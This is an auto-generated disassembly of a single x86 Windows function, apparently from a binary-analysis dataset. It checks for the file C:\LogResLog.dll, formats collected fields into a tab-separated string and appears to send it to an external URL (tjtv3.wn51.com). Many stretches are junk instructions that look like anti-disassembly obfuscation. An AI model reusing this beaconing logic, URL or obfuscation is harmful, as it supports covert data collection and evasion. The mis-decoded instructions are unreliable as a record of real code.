Function at 0x4113b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e02ad
mov eax, dword fs:[0]
push eax
mov eax, 0x1d7c
call fcn.00470830
mov eax, dword [0x678390]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d7c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d80], eax
call fcn.00453bb5
test al, al
je 0x41140b
inc ebp
hlt
fdivrp st(0)
push ss
out 0x6d, eax
invalid
call fcn.004538be
test al, al
je 0x411433
or eax, eax
push 0x2160d7ee
adc byte [edi - 0x64f6015a], cl
mov eax, dword [0x450e8478]
int1
sub eax, 0x3bc0a601
push 0xffffffffffffffc8
test al, 0x1f
fadd qword [eax + ebp*8]
mov dword [0x84000422], eax
sal byte [esi + edx + 0x1c], 0x19
call fcn.004536db
test al, al
je 0x411452
sbb al, 0x19
inc ecx
je 0x4113da
mov byte [0xcf2fd640], al
adc edx, dword [ecx]
inc ebp
and eax, 0xc43ce15f
aaa
adc eax, 0x116aef31
push 0x11
xor eax, eax
mov dword [ebp - 0x1d30], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d44]
mov dword [ebp - 0x1d34], 0
mov word [ebp - 0x1d44], ax
call fcn.00402b90
cmp dword [ebp - 0x1d30], 8
lea eax, [ebp - 0x1d44]
mov dword [ebp - 4], 0
cmovae eax, dword [ebp - 0x1d44]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp + 0xc]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d84], ecx
call fcn.00453a17
test al, al
je 0x4114d4
add dword [edi - 0x31], ecx
sbb dword [ebx], 0xe653e0c0
inc esp
sub ah, byte [ebx + 0x1c7a5052]
push ebx
xchg esi, eax
out dx, al
mov dh, 0xc6
cmp al, 0xe8
shl dword [edx], 1
add al, 0
call fcn.004537aa
test al, al
je 0x4114f5
pop esi
cmc
mov dl, 0x76
jns 0x411515
jae 0x41155c
js 0x41151b
wait
pop ss
in eax, dx
mov al, 0xa2
xchg ecx, eax
push ss
shl cl, 1
lcall 0x233a, 0xe816e053
add al, 0
call fcn.00453834
test al, al
je 0x411516
pop ss
mov eax, 0x9256d086
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
sub dh, al
jg 0x411564
invalid
ret 0xbd80
cmp byte [ebp - 0x1d84], 0
inc dword [eax]
je 0x41154f
push 0x270f
push 0
xor bl, bl
call fcn.0045730c
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.004597e8
test eax, eax
jne 0x41154f
test bl, bl
je 0x411ac4
mov edx, dword [ebp - 0x1d80]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
add byte [eax], al
add bh, al
test esp, edi
loop 0x411563
invalid
inc dword [eax]
add byte [eax], al
add dh, al
test esp, ebp
loop 0x41156d
invalid
inc dword [eax]
cmp byte [edx], 0
jne 0x411579
xor ecx, ecx
jmp 0x411589
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411580
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d14]
call fcn.00402970
lea eax, [ebp - 0x1d14]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.0045dd82
add esp, 8
mov eax, dword [ebp - 0x1d00]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x4115d2
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00402c90
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 0x1d00], 0xf
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00458f01
add esp, 8
call fcn.004539d2
test al, al
je 0x41162c
test eax, 0x59a83c28
aam 0xb
push ds
xor al, 0xfc
hlt
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00483520
add esp, 0xc
call fcn.00453c3f
test al, al
je 0x41165b
ret
mov eax, dword [ebp - 0x1d7c]
cmp dword [eax + 0xcc], 0x10
lea ecx, [eax + 0xb8]
jb 0x411672
mov ecx, dword [ecx]
cmp dword [eax + 0x54], 0x10
lea edx, [eax + 0x40]
jb 0x41167d
mov edx, dword [edx]
cmp dword [eax + 0x9c], 0x10
lea esi, [eax + 0x88]
jb 0x41168e
mov esi, dword [esi]
cmp dword [eax + 0x84], 0x10
lea edi, [eax + 0x70]
jb 0x41169c
mov edi, dword [edi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x4116a7
mov eax, dword [eax]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
push edi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00408a80
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00483520
add esp, 0x30
mov dword [ebp - 0x1d88], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x41170f
xor ecx, ecx
jmp 0x411721
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411718
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.00402970
cmp dword [ebp - 0x1ce8], 0x10
lea ecx, [ebp - 0x1d88]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 4
push ecx
push dword [ebp - 0x1cec]
lea eax, [ebp - 0x1cfc]
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.00478725
add esp, 0x10
call fcn.00453b70
test al, al
je 0x411784
invalid
mov esp, 0xe70d35d6
mov ch, 0x3d
test al, 0x4e
jmp 0x411785
lea ecx, [ebp - 0x1d75]
call fcn.0041dea0
lea ecx, [ebx - 0x1700001e]
adc edi, eax
add byte [eax], al
mov dword [eax], 0x34858d00
invalid
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d75]
call fcn.00478f14
call fcn.00453aa1
test al, al
je 0x4117c9
cld
mov dh, 0x21
pop ebp
out dx, al
outsd dx, dword [esi]
adc eax, dword [edi - 0xa6db025]
loope 0x411745
les ebp, [edx + 0x1b]
mov ebp, 0x48a77680
or edi, 0x35e8f397
and dword [eax + eax], eax
call fcn.00453903
test al, al
je 0x4117e7
lodsd eax, dword [esi]
ja 0x41178c
les ebx, [edx - 0x31]
jmp 0x4117ce
call fcn.00453a5c
test al, al
je 0x411802
movsb byte es:[edi], byte [esi]
mov byte [0x7f22b26f], al
int 0xd4
das
add al, 0xb3
pop es
mov eax, 0xfc97a976
mov ecx, 0xb068456a
test al, 0x5e
add byte [ebp - 0x1ce373], cl
inc edi
test dword [eax], esi
jecxz 0x411813
push 0x45
push str.https:__tjtv3.wn51.com__6075554d87c54ec2771e66409270e621de961b5ac5
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00402970
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 6
jne 0x411840
invalid
dec dword [edi]
add byte [eax], al
add bh, al
test dword [ebx], ebp
invalid
xor ecx, ecx
jmp 0x411859
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411850
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.004061d0
call fcn.0045398d
test al, al
je 0x411889
dec esp
jb 0x4118c3
mov esi, 0x3c8832c0
retf 0xced7
inc esi
xor byte [eax], bl
sbb ch, al
sbb al, 0x1f
add al, 0
call fcn.004537aa
test al, al
je 0x4118b0
lds ebx, [eax + 0x3d]
jmp 0x535fc06c
call fcn.00453879
test al, al
je 0x4118d8
add byte [eax + eax*8 - 0x4f29e08c], al
jmp 0x411885
salc
mov al, 0xeb
enter 0xfffffffffffff3ba, 0x7e
pop ebx
stc
stc
adc eax, ebp
insb byte es:[edi], dx
fsubr dword [eax + 0x71]
loopne 0x4118b4
xchg ebx, eax
xor bh, byte [edx - 0x4b6b4305]
popfd
into
mov cl, 0x31
dec eax
fadd qword [eax + 0xf00087d]
test dword [ecx + 0x33000000], eax
rol bh, 0x85
mov al, byte [0x7ffffe2]
add byte [eax], al
add bh, al
test dword [edx + 0xffff], ebx
add byte [eax], al
cmp byte [ebp + 8], 0
jne 0x411963
xor eax, eax
mov dword [ebp - 0x1d60], 7
mov dword [ebp - 0x1d64], 0
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d48], 0xf
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d5c], al
push 4
push 0x5ea8f8
lea ecx, [ebp - 0x1d74]
mov byte [ebp - 4], 7
call fcn.00402b90
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1d5c]
call fcn.00402840
mov ecx, dword [ebp - 0x1d7c]
lea eax, [ebp - 0x1d74]
push eax
call int.0040d500
lea ecx, [ebp - 0x1d74]
call fcn.0040d490
jmp 0x411a0c
call fcn.0045360c
test al, al
je 0x41197c
mov ebp, 0x6c7424ed
cmp byte [ecx + 0x3e], al
stosb byte es:[edi], al
fld dword [edi]
sbb byte [eax - 4], dl
sbb al, 0x39
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
mov edi, dword [ebp - 0x1d7c]
mov ecx, edi
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00410af0
mov dword [ebp - 0x1d80], eax
call fcn.00453aa1
test al, al
je 0x4119ca
lds ecx, [ebx - 0x5f]
mov dword [edi + 0x52], ebx
sub byte [edx], dh
invalid
call fcn.00453bb5
test al, al
je 0x4119f7
or ah, cl
pop edi
inc ebp
aaa
test dword [edx + 0x6ed7e4a6], eax
sahf
wait
pop ecx
mov esp, 0x3ef43fe
out 9, eax
cmc
invalid
cmp dword [ebp - 0x1d80], 0
jne 0x411a0c
push 0x5ea8f8
mov ecx, edi
call fcn.0040d6b0
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x411a2a
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00402c90
lea ecx, [ebp - 0x1d75]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00479050
mov eax, dword [ebp - 0x1ce8]
cmp eax, 0x10
jb 0x411a6e
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00402c90
mov eax, dword [ebp - 0x1d18]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
cmp eax, 8
jb 0x411aa7
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.00402ce0
xor eax, eax
mov dword [ebp - 0x1d18], 7
mov dword [ebp - 0x1d1c], 0
mov word [ebp - 0x1d2c], ax
mov eax, dword [ebp - 0x1d30]
cmp eax, 8
jb 0x411ae2
inc eax
lea ecx, [ebp - 0x1d44]
push eax
push dword [ebp - 0x1d44]
call fcn.00402ce0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047070c
mov esp, ebp
pop ebp
ret 0x10